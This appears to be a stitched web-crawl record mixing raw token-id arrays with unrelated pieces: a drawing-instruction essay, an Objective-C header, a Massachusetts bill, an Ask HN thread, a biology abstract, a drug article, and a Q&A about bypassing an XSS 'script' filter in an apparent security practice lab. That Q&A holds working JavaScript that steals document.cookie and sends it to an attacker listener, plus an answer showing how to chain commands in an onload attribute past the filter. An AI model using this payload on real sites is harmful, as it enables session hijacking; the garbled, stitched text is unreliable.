273, 253, 5654, 285, 253, 1547, 9357, 896, 1361, 281, 2199, 253, 1007, 3579, 15, 187, 187, 21956, 17970, 778, 1089, 1027, 4088, 273, 8133, 689, 247, 2926, 1127, 15, 1707, 310, 642, 581, 346, 918, 3, 1039, 1905, 760, 13760, 13, 21541, 285, 21414, 4088, 15, 6101, 16753, 476, 320, 8392, 247, 4289, 4088, 285, 512, 273, 731, 320, 987, 15, 10154, 13, 326, 310, 13, 604, 352, 5644, 253, 27025, 281, 253, 987, 6452, 13, 253, 2926, 1127, 15, 187, 187, 4041, 6423, 2444, 342, 2067, 14142, 2509, 253, 1072, 2554, 651, 452, 281, 6889, 521, 10746, 285, 5223, 731, 281, 1016, 2060, 13216, 15, 1292, 275, 1016, 1083, 521, 4736, 651, 320, 281, 26740, 253, 8446, 275, 253, 3884, 273, 253, 2926, 15, 22300, 275, 10263, 15, 12979, 6933, 10846, 778, 320, 10263, 253, 1072, 16753, 13, 594, 627, 651, 2779, 320, 15342, 9508, 273, 253, 16753, 15, 1723, 13, 1016, 2715, 1364, 3831, 326, 581, 1199, 3058, 1846, 2803, 1905, 5511, 1905, 253, 5511, 273, 253, 2926, 2934, 15, 187, 187, 2598, 347, 368, 3812, 13, 5467, 253, 2554, 273, 6423, 15, 5402, 21780, 403, 253, 14142, 665, 403, 12440, 285, 665, 403, 44952, 13, 7378, 13, 20876, 13, 5223, 494, 13, 285, 1014, 749, 35407, 281, 634, 15040, 347, 247, 6423, 15, 1422, 403, 253, 581, 665, 12957, 253, 2032, 4495, 273, 1016, 2250, 390, 16753, 15, 12414, 634, 3361, 285, 634, 2714, 10861, 13, 253, 10263, 812, 1077, 4354, 990, 598, 816, 1529, 10263 ]

follows the forms as if to encompass them. Here is the beginning of drawing. To me then, drawing is a way of living a way toward life's fullness. It is not just a technique and certainly not mere skill. It is a total response. When I see a thing my first desire is not to possess what I see, or to eat it, to buy it, to name, to classify, or to change it. My first desire is to draw it. Political man, economic man, historical man, may well have contempt for this apparently senseless response to life. To me drawing, like singing or dancing, is an activity that temporarily delivers me from history. Maybe it transcends it. Drawing, while born from awareness, leads to an even greater awareness which involves me totally, yet impartially with all that passes before my eye: with mountains and human faces, city streets and humblest weeds, nude bodies, and the pebbles and shells of the seashore. What started as a book about drawing became a book about seeing and hence about being humanly aware and alive. 95 Become the Director It helps to look for the abstract qualities of a pose. In a real sense that is what you do when you caricature something. To abstract means to "take out"; that is, "separate or isolate." When drawing a gesture, whatever it happens to portray, you have to, right from the beginning, decide what it is that you are going to say about it (in your drawing). When drawing from a model, for instance, you must "isolate" the important thing you need from the pose, subjugating all else to the role of support team. Ask yourself, — better yet, _tell yourself_ — what is going on there, what is the story behind the pose? You have to separate or isolate just the vital thing that needs to be told. Isolate it so you can better portray it to your audience. "It, it, it. What is this _it_ you keep talking about?" you ask. "It" is simply what you would _say_ if you were describing the action or pose to someone in words. "He is bending over looking at something." "He is leaning on something." "He is sitting, leaning back on his right arm," etc. I sang in a light opera group for ten years, having the privilege of singing several lead tenor roles. It was an eye opener watching the director work with a group of amateurs. He had to be very precise in his direction for there wasn't time to teach everyone how to act. His approach was much the same as an animator's approach to a scene of animation. That is, keep it simple, put over one idea at a time, and play it so the audience can see it clearly. I wish all of you could attend some stage play rehearsals to watch the director work, see how he molds all the elements of a play to move along unencumbered by distracting trivia. Literally you, the artist, are the director of each drawing you make. A stage director does not tell the actor how to act. He encourages the actor to use gestures and movements that carry the story forward in a sincere, convincing, clear, and properly motivated manner. If you would adopt the role of director as you draw, you might be less inclined to settle for (copy) what the model has presented to you. You would say to yourself, speaking to your drawing, because your drawing is the actor that is going to perform for the audience, "This is what you are trying to put over, so use whatever resourcefulness you can conjure up, to do it. If you need weight, here, I will give you weight. Do you need more stretch? Here, by golly, is some stretch. Do you need some squash because of what you are doing, okay, you got it." Squash and stretch and weight are things that you don't find in anatomy books, but are abstract qualities that bring drawings to life. If the artist doesn't move in and take over the role of director, the drawings may deliver their performances in an amateur-like manner. I saved a few of my correction drawings (again) to help put these ideas over. Sometimes the "story" as the model presents it is not too clear, and must undergo the director's touch. This was the case in these drawings. I think Craig is a great model, nevertheless, his poses are as with all models, only the embryo of a storytelling drawing. We the director/artist have to take the stage and re-mold the pose to make sure it has all the necessary elements to put across the "story." I apologize for the lengthy explanations. It takes many words to explain all this, but as you who have watched me make these corrective sketches know, they take a matter of seconds (except when I keep on doodling long after I've illustrated the point). They will take _you_ a matter of seconds also when you take over the directorship of your drawings. Let's delve right into the first drawing (story: man leaning on lance). He won't look like he is leaning on something if he is standing straight up and down. One way to accomplish a lean is to thrust the hips back so the upper body is in a sense hanging in space with little or no body support, thus the rod suddenly takes on the function of support. Angling the legs into a triangular shape sends the eye upward, causing the hips to move backward and upward. Tilting the head to the left, away from the rod, forms a triangle like an arrow point, which helps to force the upper body downward. Lowering the shoulders causes the elbows to pull downward, which makes the hands become the support for all that weight and downward thrust. In the second drawing, (story: man sitting, leaning on his right hand), to get more weight on that hand, he must lean back farther. A good clear angle at the fanny and a straight line at his bottom helps to put more weight on his fanny. A roundish line can be too balloon-like. Keeping the lower half of his body where it is, and stretching the top part back to the left, allows the belly to be "played up." Angling the right leg toward us a little eliminates a feeling that everything is drawn in profile, and introduces a feeling of third dimension. Altering the angles of the legs sets up a nice tension — you can almost feel the left leg move inward. I made a couple of extra sketches to explain the leg angle thing, and to show the difference if the angles had gone the other way. If there are two parallel lines they are static. But if one of the lines is angled it sets up a movement — to the left in this instance. When I angled the lower legs as I did, it set up a movement in the direction of the lean of the body, amplifying it (supporting role). The next sketch angles this way, which causes a move to the right. That's what the model would do if he were going to straighten up. Another pose was an intent look at something being held in the hands. A good director would never allow the "story" to be hidden from the audience. He would tell the actor to re-stage it so everyone would know what was taking place. So I got his right shoulder out of the way, to clear a path for his look to travel in. I bent him over, intensifying his interest in what he was looking at. I pulled his fanny back to the left allowing the left leg to stretch out, causing the spectator's eye to sweep right up to the center of interest. In the last drawing there is a solution to a problem a lot of you faced when turning the model into one of the fatter characters in the "Mermaid." This pose was one of many where a _look_ was the story. Creating a massive body covered up the look in the student's drawing. Actually, the abstract of the pose was something like this — with look in the clear: At any rate, one solution to the problem is to simply get the shoulder out of the way and project the head forward a little more. I attained the necessary bulk by humping up his back and featuring the belly a little more. The eye is not the farthest thing at the edge of the form, but at least it is in the clear. Note how the angle of the gun and the humped back help to project the look forward. Different directors may find different ways of putting over a story point. There is no one "right" way — only logical, plausible and convincing ways. Any pose can be drawn a hundred ways and all of them be right. Right, that is, if it leads the viewer to the right conclusion, the story point. One director working with several actors doing the same role would have to vary his directions and adapt them to each individual personality. But in each case his goal would be to sway the audience in the direction of the story. Likewise in drawing. Fifteen artists may be drawing the same pose, so there would likely be fifteen versions of the pose. However, each version must contain that one much needed common factor — communication — the communication of the story idea. So as you draw, assume the role of director. Your drawings are the actors who are professionals and who are receptive, willing, responsive, adaptable, and even submissive to your expertise as a director. You are the one who reveals the true meaning of each action or pose. Without your presence and your special skill, the drawing could very easily end up just another drawing

[ 7379, 6989, 27193, 21972, 475, 42942, 21972, 28, 1380, 1214, 49331, 3281, 19313, 21972, 30, 64, 42942, 21972, 28, 187, 14, 313, 4353, 10, 4537, 27193, 21972, 10477, 301, 10, 1662, 18, 858, 40330, 27193, 9604, 10477, 301, 10, 1662, 19, 342, 49767, 9294, 10477, 3717, 20920, 11144, 2548, 10, 1662, 20, 28, 187, 14, 313, 4353, 11824, 13161, 7474, 9604, 10477, 301, 10, 1662, 18, 281, 7474, 10477, 301, 10, 1662, 19, 275, 33731, 10477, 301, 10, 1662, 20, 342, 49767, 9294, 10477, 3717, 20920, 11144, 2548, 10, 1662, 21, 28, 187, 14, 313, 4353, 11824, 4698, 7474, 1909, 5703, 10477, 301, 10, 1662, 18, 275, 33731, 10477, 301, 10, 1662, 19, 342, 49767, 9294, 10477, 3717, 20920, 11144, 2548, 10, 1662, 20, 28, 187, 14, 313, 4353, 11824, 23320, 27193, 21972, 28, 187, 14, 313, 4353, 10, 615, 10835, 28, 187, 14, 313, 301, 10, 4478, 28, 187, 187, 605, 6235, 1776, 3607, 187, 33, 9134, 9, 48719, 13, 3491, 10, 31681, 475, 13125, 11185, 28, 187, 33, 9134, 9, 48719, 13, 3491, 10, 31681, 475, 10008, 28, 187, 33, 9134, 9, 48719, 10, 10698, 1048, 1048, 13283, 28, 187, 33, 9134, 9, 48719, 10, 6550, 2221, 2437, 28, 187, 187, 33, 423, 535, 25310, 388, 15, 1797, 746, 187, 17599, 394, 313, 6622, 428, 4059, 10, 187, 187, 1145, 3162, 4103, 281, 253, 4487, 273, 8726, 9491, 5399, 187, 187, 25310, 13927, 27, 743, 3162, 4103, 281, 253, 4487, 273, 8726, 9491, 5399, 187, 187, 3463, 2305, 15, 329, 13356, 273, 40081, 951, 13, 247, 5266, 313, 317, 32729, 728, 407, 6007, 13, 3995, 13, 1621, 15, 3127, 746, 10, 273, 18673, 500, 15, 329, 13356, 285, 7195, 367, 15, 1716, 4926, 4103, 281, 253, 14199, 273, 253, 4487, 273, 8726, 9491, 5399, 15, 5259, 18731, 285, 38394, 9044, 15, 187, 187, 3650, 22046, 667, 2714, 390, 2087, 1569, 281, 253, 10214, 13, 253, 7811, 273, 8726, 9491, 5399, 3091, 320, 9924, 273, 247, 1436, 432, 253, 16541, 5399, 13, 253, 9526, 273, 5259, 18731, 390, 521, 390, 617, 2216, 1796, 13, 247, 8612, 273, 253, 15636, 457, 84, 7454, 13, 767, 15572, 273, 253, 8726, 40839, 7115, 273, 14070, 13, 285, 767, 15572, 273, 253, 23932, 8726, 71, 15053, 273, 14070, 13, 11162, 407, 253, 15636, 323, 247, 1307, 9, 84, 10, 281, 28588, 342, 326, 273, 253, 16342, 457, 84, 39722, 5566, 1271, 15, 187, 187, 510, 1491, 6221, 275, 436, 4422, 310, 323, 2087, 1491, 6378, 760, 15, 380, 4214, 2111, 3400, 436, 1491, 347, 247, 1345, 2579, 285, 1223, 359, 38937, 281, 1978, 253, 941, 7899, 285, 1655, 281, 253, 1682, 273, 776, 3745, 13, 359, 1056, 642, 14237, 390, 7501, 447, 273, 667, 2238, 13, 3890, 390, 10466, 13, 670, 253, 29867, 13, 7200, 13, 13367, 13, 45984, 390, 11659, 342, 1675, 281, 253, 4422, 390, 253, 1491, 6221, 327, 253, 4422, 323, 667, 4096, 15, 6101, 22095, 368, 1659, 327, 824, 1491, 310, 3103, 13714, 387, 634, 1211, 2495, 15, 187, 187, 28240, 1135, 7551, 7641, 24882, 31512, 187, 187, 510, 3389, 2505, 310, 275, 271, 36542, 5981, 281, 1859, 275, 247, 9882, 15, 187, 187, 7845, 897, 253, 346, 20865, 19415, 3, 3048, 604, 368, 5730, 281, 9182, 16, 17148, 436, 3389, 15, 187, 30326, 30792, 27, 1359, 368, 368, 6016, 253, 10056, 273, 673, 32, 428, 285, 250, 261, 12847, 187, 42, 816, 25436, 326, 619, 1390, 608, 1107, 816, 18811, 1293, 4366, 15, 1359, 513, 368, 755, 253, 954, 562, 273, 634, 1897, 32, 1359, 513, 368, 8722, 281, 3468, 673, 1066, 32, 187, 4738, 187, 3487, 1200, 328, 187, 60, 3614, 1358, 257, 15, 78, 15, 25842, 15, 2061, 16, 16123, 16, 4769, 64, 69, 10108, 880, 3614, 1358, 257, 15, 78, 15, 25842, 15, 2061, 16, 16123, 16, 4769, 64, 69, 10108, 10, 535, 5072, 284, 981, 260, 300, 1514, 14, 6367, 6047, 19, 12, 5459, 275, 13637, 10919, 8198, 2955, 571, 15, 187, 510, 3625, 260, 300, 1514, 310, 247, 17872, 1963, 4415, 275, 1142, 21744, 1341, 15, 33185, 1783, 556, 4232, 253, 260, 300, 1514, 281, 320, 23033, 275, 253, 5481, 273, 8651, 285, 6938, 2544, 15, 380, 260, 300, 1514, 34472, 841, 15374, 285, 30185, 2710, 2625, 14, 3675, 10083, 9130, 1690, 26787, 273, 14036, 6047, 9, 19, 15020, 4719, 2470, 13614, 9, 19, 15020, 880, 74, 5029, 831, 8857, 8631, 3082, 273, 10499, 3625, 260, 300, 1514, 14, 6820, 544, 13614, 9, 19, 15020, 880, 74, 10, 7601, 15, 50, 27, 187, 187, 57, 3528, 342, 346, 3866, 3, 8570, 187, 187, 1552, 310, 432, 247, 2990, 3988, 3946, 1895, 15, 187, 510, 2670, 313, 1178, 598, 323, 436, 4096, 10, 9437, 281, 4017, 1411, 1594, 3528, 407, 19690, 686, 3866, 8, 14610, 970, 253, 1563, 2127, 27, 187, 45407, 426, 294, 15, 2377, 9, 83, 31770, 32, 74, 10, 3866, 995, 18586, 3280, 10, 187, 187, 510, 4836, 310, 281, 13194, 247, 24098, 275, 253, 5487, 434, 9882, 326, 651, 513, 1841, 1690, 5007, 616, 14268, 281, 247, 8905, 2036, 8076, 4602, 15, 313, 42, 1849, 2168, 14123, 436, 672, 253, 2670, 3589, 626, 19690, 686, 3866, 8539, 209, 187, 42, 1849, 41548, 436, 285, 1119, 326, 309, 476, 13194, 2014, 25109, 13896, 407, 2403, 19241, 824, 347, 27, 187, 3, 29, 2915, 327, 2799, 30, 26544, 1035, 3, 25521, 61, 3287, 21760, 187, 187, 6436, 13, 436, 2506, 626, 8415, 619, 1895, 984, 352, 476, 760, 13194, 247, 2014, 3923, 313, 42, 2868, 481, 380, 24098, 309, 878, 281, 13194, 4428, 2709, 13896, 15, 209, 187, 42, 1849, 671, 3597, 970, 11685, 1894, 11646, 281, 3693, 253, 5806, 13, 824, 347, 27, 209, 187, 3, 29, 84, 11167, 1525, 28, 1122, 31, 3255, 187, 187, 2858, 253, 5806, 32010, 352, 15, 209, 187, 4943, 310, 253, 2127, 4793, 891, 1353, 970, 27, 187, 29, 2974, 31, 187, 29, 3866, 6740, 568, 2413, 1358, 20742, 15, 41384, 15, 681, 16, 20742, 16, 26959, 16, 19203, 16, 19, 15, 17, 15, 20, 16, 19203, 15, 1222, 15, 4305, 6750, 3866, 31, 187, 29, 3866, 31, 187, 187, 3701, 24098, 9, 1595, 16468, 10, 551, 187, 50274, 3701, 2412, 9, 2203, 10, 551, 187, 50270, 1352, 788, 9, 1595, 16468, 13, 941, 558, 187, 50270, 94, 187, 50270, 3701, 17335, 9, 27616, 10, 551, 187, 50266, 5, 1587, 2974, 6788, 2799, 9, 27616, 13, 1159, 14574, 187, 50262, 605, 19907, 19550, 281, 8905, 4602, 187, 50262, 2808, 9, 3306, 15, 36617, 558, 187, 50266, 9897, 187, 50270, 94, 187, 50270, 26520, 1587, 11379, 3287, 187, 50274, 94, 535, 50274, 3701, 1056, 10516, 9, 89, 859, 29337, 13, 2303, 13, 30539, 10, 551, 187, 50270, 338, 313, 89, 859, 29337, 2295, 470, 10, 551, 187, 50266, 605, 6124, 281, 13194, 672, 627, 310, 642, 5806, 187, 50266, 2309, 2303, 559, 49173, 8716, 32, 89, 859, 1545, 358, 339, 568, 559, 1269, 859, 29337, 15, 18264, 1082, 559, 346, 7, 82, 568, 559, 187, 50262, 25950, 3322, 1864, 23242, 5318, 43467, 3866, 3, 559, 346, 21760, 559, 24098, 15, 18264, 1082, 559, 36417, 35704, 1035, 9739, 559, 30539, 559, 8894, 3287, 870, 3866, 3, 559, 38329, 3287, 187, 50270, 94, 187, 50270, 7271, 551, 187, 50266, 605, 6124, 281, 13194, 672, 686, 3866, 8, 310, 18748, 187, 50266, 2309, 2303, 559, 49173, 8716, 32, 89, 859, 1545, 358, 339, 568, 559, 1269, 859, 29337, 15, 18264, 1082, 559, 346, 7, 82, 568, 559, 187, 50262, 25950, 3322, 1864, 23242, 5318, 43467, 2915, 327, 2799, 30, 26544, 1035, 3, 2566, 61, 3287, 31, 3287, 2490, 50266, 94, 187, 50274, 94, 535, 50274, 2044, 1269, 859, 29337, 426, 337, 28, 187, 50274, 2044, 2303, 426, 346, 2413, 1358, 3593, 15, 17605, 15, 1706, 15, 18, 16, 14831, 296, 383, 3664, 187, 50274, 2044, 30539, 426, 346, 2413, 1358, 11946, 15, 17, 15, 17, 15, 18, 27, 27893, 1787, 16, 3664, 535, 50274, 6999, 3701, 1082, 551, 187, 50270, 2044, 9688, 426, 1056, 10516, 9, 89, 859, 29337, 13, 2303, 13, 30539, 558, 187, 50270, 5, 1587, 73, 20, 6788, 2974, 43467, 66, 2654, 21655, 4492, 10632, 2303, 21655, 6321, 10632, 3860, 2029, 9739, 559, 9688, 559, 8894, 1138, 10871, 17855, 2, 11380, 66, 31, 3287, 187, 50270, 3306, 15, 22339, 1587, 4492, 6788, 9738, 1874, 187, 50270, 9897, 187, 50270, 870, 3866, 31, 654, 73, 20, 3073, 73, 20, 31, 187, 50274, 870, 2974, 31, 187, 187, 6693, 1361, 651, 320, 10260, 14109, 2, 187, 187, 34, 27, 187, 187, 1394, 476, 760, 452, 581, 2048, 275, 271, 327, 2799, 30, 11104, 13, 533, 368, 476, 1335, 1347, 2709, 13896, 15, 187, 8620, 1039, 27, 187, 29, 2915, 327, 2799, 568, 9, 3701, 1082, 551, 20390, 18, 1874, 20390, 19, 1874, 20390, 20, 1874, 13985, 1874, 1138, 187, 187, 1552, 13067, 247, 1159, 2048, 534, 17923, 253, 495, 13896, 13, 285, 840, 4850, 1925, 313, 3529, 434, 253, 6734, 387, 253, 990, 481, 187, 7673, 3588, 4088, 313, 2858, 10369, 13, 564, 342, 253, 806, 2262, 187, 29, 2915, 327, 2799, 568, 14111, 18, 5715, 20390, 19, 5715, 20390, 20, 1874, 1138, 187, 187, 263, 13, 604, 368, 871, 597, 512, 1091, 3221, 90, 2193, 313, 3022, 17011, 407, 417, 10884, 2712, 10, 187, 29, 2915, 327, 2799, 568, 14111, 18, 1082, 2785, 20390, 19, 1082, 2785, 20390, 20, 1874, 1138, 187, 187, 249, 13110, 13, 604, 368, 871, 597, 512, 1091, 492, 307, 1994, 2193, 313, 3022, 3904, 13, 11559, 390, 5113, 10, 187, 29, 2915, 327, 2799, 568, 14111, 18, 1082, 3857, 20390, 19, 1082, 3857, 20390, 20, 1874, 1138, 535, 22183, 16979, 383, 36257, 16, 951, 856, 350, 531, 23150, 187, 187, 22183, 16979, 383, 36257, 16, 951, 856, 350, 531, 23150, 313, 5607, 16, 36, 4899, 582, 671, 1929, 347, 820, 14, 951, 1087, 527, 10966, 285, 4211, 762, 253, 7138, 4454, 36965, 285, 36965, 14, 1671, 2190, 2571, 13, 310, 247, 5019, 273, 5105, 16979, 383, 36257, 313, 5607, 582, 271, 25149, 13, 285, 2645, 856, 350, 531, 23150, 313, 36, 4899, 582, 247, 354, 3219, 249, 285, 3270, 395, 12991, 13, 534, 310, 908, 347, 247, 4201, 1453, 12575, 281, 3657, 10438, 275, 2255, 15, 733, 310, 671, 908, 281, 1555, 39387, 14, 6820, 2515, 275, 2255, 824, 347, 49656, 13, 396, 3399, 83, 21071, 13, 13622, 17754, 16, 2915, 4707, 3116, 13, 33756, 4707, 2957, 13, 285, 1029, 39387, 2308, 1955, 281, 16119, 447, 342, 41578, 15, 380, 12358, 310, 2668, 407, 6208, 2378, 5312, 323, 3127, 575, 11015, 13, 3560, 407, 247, 818, 14, 1201, 1959, 7726, 15, 187, 187, 41225, 4648, 187, 5607, 16, 36, 4899, 310, 908, 347, 247, 5678, 4201, 1453, 12575, 281, 3657, 14246, 1427, 285, 10438, 275, 2255, 15, 733, 310, 671, 7012, 285, 908, 281, 1555, 39387, 14, 6820, 2515, 275, 2255, 824, 347, 49656, 13, 396, 3399, 83, 21071, 13, 288, 19384, 307, 1204, 13, 5343, 3102, 4707, 2957, 13, 285, 4373, 395, 12991, 1204, 1955, 281, 3488, 951, 11224, 43735, 9237, 15, 187, 187, 31130, 4948, 187, 5607, 16, 36, 4899, 3249, 275, 253, 830, 273, 7946, 23368, 285, 4428, 4791, 390, 2456, 575, 21516, 14939, 285, 374, 575, 7913, 330, 4899, 591, 19801, 15, 733, 310, 2668, 2378, 5312, 323, 3127, 575, 11015, 13, 3560, 407, 247, 818, 14, 1201, 1959, 7726, 15, 187, 187, 28541, 2538, 187, 28541, 2538, 273, 14939, 16, 36, 4899, 2486, 7915, 3767, 39667, 21071, 313, 740, 15, 19, 9498, 5988, 12415, 390, 45620, 313, 23, 15, 22, 9498, 24934, 313, 22, 15, 19, 9498, 11219, 1255, 313, 21, 15, 21, 9498, 448, 4213, 5614, 313, 21, 15, 19, 9498, 23201, 12315, 313, 20, 15, 21, 9498, 6137, 5135, 7112, 313, 20, 15, 18, 9498, 945, 26691, 1005, 313, 19, 15, 26, 9498, 33706, 313, 18, 15, 26, 9498, 30297, 313, 18, 15, 24, 9498, 285, 45639, 1632, 313, 18, 15, 18, 10970, 380, 9364, 273, 9454, 342, 14939, 16, 36, 4899, 310, 253, 1072, 347, 326, 342, 643, 4201, 1453, 28123, 15, 187, 187, 30456, 502, 1502, 187, 510, 2495, 273, 23916, 13344, 2399, 16697, 311, 1204, 342, 14939, 16, 36, 4899, 14, 15408, 4201, 1453, 28123, 310, 2074, 281, 326, 342, 14939, 285, 9374, 351, 1751, 15770, 711, 462, 383, 1661, 15770, 285, 3926, 37640, 445, 531, 14, 15408, 4201, 1453, 28123 ]

UNUserNotificationCenter *notificationCenter; // @synthesize notificationCenter=_notificationCenter; - (void)userNotificationCenter:(id)arg1 didReceiveNotificationResponse:(id)arg2 withCompletionHandler:(CDUnknownBlockType)arg3; - (void)_sendMessageResponse:(id)arg1 toMessage:(id)arg2 inChat:(id)arg3 withCompletionHandler:(CDUnknownBlockType)arg4; - (void)_markMessageAsRead:(id)arg1 inChat:(id)arg2 withCompletionHandler:(CDUnknownBlockType)arg3; - (void)_setupNotificationCenter; - (void)dealloc; - (id)init; // Remaining properties @property(readonly, copy) NSString *debugDescription; @property(readonly, copy) NSString *description; @property(readonly) unsigned long long hash; @property(readonly) Class superclass; @end Bill H.2119 188th (2013 - 2014) An Act relative to the Department of Fire Services Commission Bill Title: An Act relative to the Department of Fire Services Commission By Mr. Ayers of Quincy, a petition (accompanied by bill, House, No. 2119) of Bruce J. Ayers and Thomas P. Conroy relative to the membership of the Department of Fire Services Commission. Public Safety and Homeland Security. Notwithstanding any special or general law to the contrary, the department of Fire Services Commission shall be composed of a person from the Insurance Commission, the Secretary of Public Safety or his or her designee, a representative of the Governor’s Office, two representatives of the Fire Chiefs Association of Massachusetts, and two representatives of the Professional Firefighters of Massachusetts, appointed by the Governor for a term(s) to coincide with that of the Commonwealth’s Constitutional Offices. The information contained in this website is for general information purposes only. The General Court provides this information as a public service and while we endeavor to keep the data accurate and current to the best of our ability, we make no representations or warranties of any kind, express or implied, about the completeness, accuracy, reliability, suitability or availability with respect to the website or the information contained on the website for any purpose. Any reliance you place on such information is therefore strictly at your own risk. Unsupported Bill Output Format The document text is in an unsupported format to view in a browser. Please use the "Download PDF" link if you wish to View/Print this document. Ask HN: How you you handle the passage of time? - andreisbc I just realised that my last 5 years just flew without notice. How do you get the most out of your days? How do you manage to slow time down? ====== downshun [https://en.m.wikipedia.org/wiki/Time_dilation](https://en.m.wikipedia.org/wiki/Time_dilation) Measuring cilium-induced Ca2+ increases in cultured renal epithelia. The primary cilium is a sensory organelle in many mammalian cells. Functional analysis has established the cilium to be instrumental in the detection of mechanical and environmental changes. The cilium detects these stimuli and activates various signal-transduction pathways including alteration of intracellular Ca(2+) concentration ([Ca(2+)](i)). This chapter describes methods of measuring primary cilium-dependent [Ca(2+)](i) signaling.Q: XSS with "script" removal This is from a network security practice problem. The site (set up for this purpose) attempts to protect against XSS by filtering'script' tags using the following code: filtered = re.sub(r"(?i)script", "", input) The task is to execute a payload in the victim's browser that would do things including send their cookies to a remote netcat connection. (I've already accomplished this when the site wasn't filtering'script'). I've researched this and found that I can execute single javascript commands by making queries such as: "<body onload=alert(\"hello\");>" However, this doesn't solve my problem because it can only execute a single command (I believe). The payload I need to execute contains multiple commands. I've also tried using HTML character codes to avoid the filter, such as: "<script>..." but the filter catches it. Here is the codebase i'm using: <html> <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script> <script> function payload(attacker) { function log(data) { $.get(attacker, data); } function proxy(href) { $("html").load(href, function(){ //Send cookie to remote connection log(document.cookie); }); } proxy("./"); } function makeLink(xssdefense, target, attacker) { if (xssdefense == 0) { //Code to execute when there is no filter return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" + encodeURIComponent("<script" + ">" + payload.toString() + ";payload(\"" + attacker + "\");</script" + ">"); } else { //Code to execute when'script' is filtered return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" + encodeURIComponent("<body onload=alert(\"test\");>"); } } var xssdefense = 1; var target = "http://81.211.34.1/xsstest"; var attacker = "http://127.0.0.1:31337/"; $(function() { var url = makeLink(xssdefense, target, attacker); $("h3").html("<a id=\"link\" target=\"run\" href=\"" + url + "\"> Enter Site!<\a>"); document.getElementById("link").click(); }); </script> <h3></h3> </html> Any help would be greatly appreciated! A: You can only have one expression in an onload= attribute, but you can still perform multiple commands. Good way: <body onload="(function() { cmd1(); cmd2(); cmd3(); })();"> This defines a function expression which performs the 3 commands, and then gets called (that's the () at the end). More valid ways (but seriously, go with the first): <body onload="cmd1(), cmd2(), cmd3();"> or, if you know they all return falsey values (like undefined by not returning anything) <body onload="cmd1() || cmd2() || cmd3();"> inversely, if you know they all return truthy values (like numbers, strings or objects) <body onload="cmd1() && cmd2() && cmd3();"> Ethinylestradiol/cyproterone acetate Ethinylestradiol/cyproterone acetate (EE/CPA), also known as co-cyprindiol and sold under the brand names Diane and Diane-35 among others, is a combination of ethinylestradiol (EE), an estrogen, and cyproterone acetate (CPA), a progestin and antiandrogen, which is used as a birth control pill to prevent pregnancy in women. It is also used to treat androgen-dependent conditions in women such as acne, seborrhea, excessive facial/body hair growth, scalp hair loss, and high androgen levels due to ovaries with cysts. The medication is taken by mouth once daily for 21 days, followed by a 7-day free interval. Medical uses EE/CPA is used as a combined birth control pill to prevent ovulation and pregnancy in women. It is also approved and used to treat androgen-dependent conditions in women such as acne, seborrhea, hirsutism, female pattern hair loss, and hyperandrogenism due to polycystic ovary syndrome. Available forms EE/CPA comes in the form of oral tablets and contains 35 or 50 μg EE and 2 mg CPA per tablet. It is taken once daily for 21 days, followed by a 7-day free interval. Side effects Side effects of EE/CPA include dysmenorrhea (10.2%), breast tension or tenderness (6.5%), headache (5.2%), nervousness (4.4%), chloasma (4.2%), depressed mood (3.4%), decreased libido (3.1%), varicosities (2.9%), nausea (1.9%), edema (1.7%), and dizziness (1.1%). The incidence of depression with EE/CPA is the same as that with other birth control pills. Blood clots The risk of venous thromboembolism with EE/CPA-containing birth control pills is similar to that with EE and gestodene-, desogestrel-, and drospirenone-containing birth control pills

[ 17023, 7911, 281, 6558, 17023, 7911, 285, 11528, 1430, 273, 17023, 9603, 16255, 15, 380, 4345, 1097, 14415, 13701, 273, 747, 17023, 4444, 569, 285, 4845, 3275, 13133, 327, 5368, 4444, 569, 15, 380, 4345, 275, 1055, 4447, 247, 7281, 293, 273, 17023, 9603, 12390, 15, 1916, 10517, 253, 6284, 273, 253, 7285, 1930, 13, 253, 17023, 21337, 12390, 13, 247, 747, 15772, 2133, 369, 4232, 27, 247, 773, 43473, 34136, 6456, 6598, 1707, 249, 15572, 273, 253, 1264, 4283, 17023, 21337, 12390, 2335, 1659, 27, 1198, 253, 1986, 2077, 436, 369, 16724, 510, 11879, 589, 29405, 45011, 457, 7115, 273, 3968, 995, 323, 6495, 9643, 16724, 510, 5427, 11879, 589, 29405, 45011, 457, 7115, 273, 253, 1986, 11491, 3, 285, 323, 6176, 253, 16724, 1785, 469, 84, 332, 4152, 1784, 38806, 45067, 611, 1920, 10629, 2788, 28475, 6595, 6598, 5131, 4343, 13, 299, 15, 72, 15, 4047, 390, 253, 322, 319, 13670, 20172, 13, 574, 1694, 642, 6779, 15, 187, 187, 5677, 3188, 187, 510, 1986, 2077, 3597, 281, 2489, 3907, 273, 253, 17023, 7281, 293, 27, 14631, 17023, 4444, 569, 275, 26949, 762, 697, 1453, 28, 16472, 2561, 715, 17023, 14, 28916, 6244, 326, 34298, 275, 253, 1986, 2077, 8, 7952, 28, 285, 294, 7821, 304, 263, 456, 6031, 281, 8171, 3626, 17023, 275, 26429, 342, 247, 13506, 15, 496, 253, 12673, 1373, 571, 18875, 13, 8966, 12673, 4242, 275, 271, 3177, 281, 4711, 17023, 275, 10869, 15, 380, 7088, 2913, 308, 603, 285, 11879, 589, 6487, 3715, 4444, 569, 275, 253, 22075, 285, 26002, 42518, 285, 24611, 8726, 10228, 3715, 4444, 569, 275, 15562, 571, 15, 187, 187, 28743, 715, 13506, 17023, 369, 3710, 407, 3480, 273, 3640, 273, 253, 5793, 2605, 273, 17023, 7006, 1919, 846, 18824, 15, 8502, 49, 834, 574, 3715, 425, 412, 9457, 275, 253, 18471, 84, 275, 2380, 281, 253, 49752, 9224, 13, 533, 425, 412, 9457, 369, 1512, 19983, 323, 2403, 26429, 15, 6408, 436, 2180, 253, 5625, 11879, 589, 5489, 708, 9753, 5986, 285, 253, 5489, 7115, 273, 4782, 11879, 589, 29405, 45011, 497, 11420, 15, 187, 187, 9917, 643, 1732, 11220, 7269, 4343, 751, 6176, 285, 253, 12194, 6398, 3715, 275, 253, 734, 7523, 2180, 13506, 17023, 313, 70, 15, 72, 15, 378, 9821, 15, 1292, 436, 369, 1900, 625, 8214, 685, 3626, 17023, 15, 187, 187, 22817, 14673, 11879, 589, 14297, 13, 13842, 187, 510, 806, 285, 760, 4345, 281, 1705, 432, 253, 1986, 14726, 12651, 327, 17061, 285, 9753, 50276, 29653, 456, 35226, 323, 46018, 1005, 369, 271, 5625, 14673, 11879, 589, 14297, 15, 380, 4345, 574, 2074, 16566, 15, 733, 5611, 253, 4473, 273, 6036, 8294, 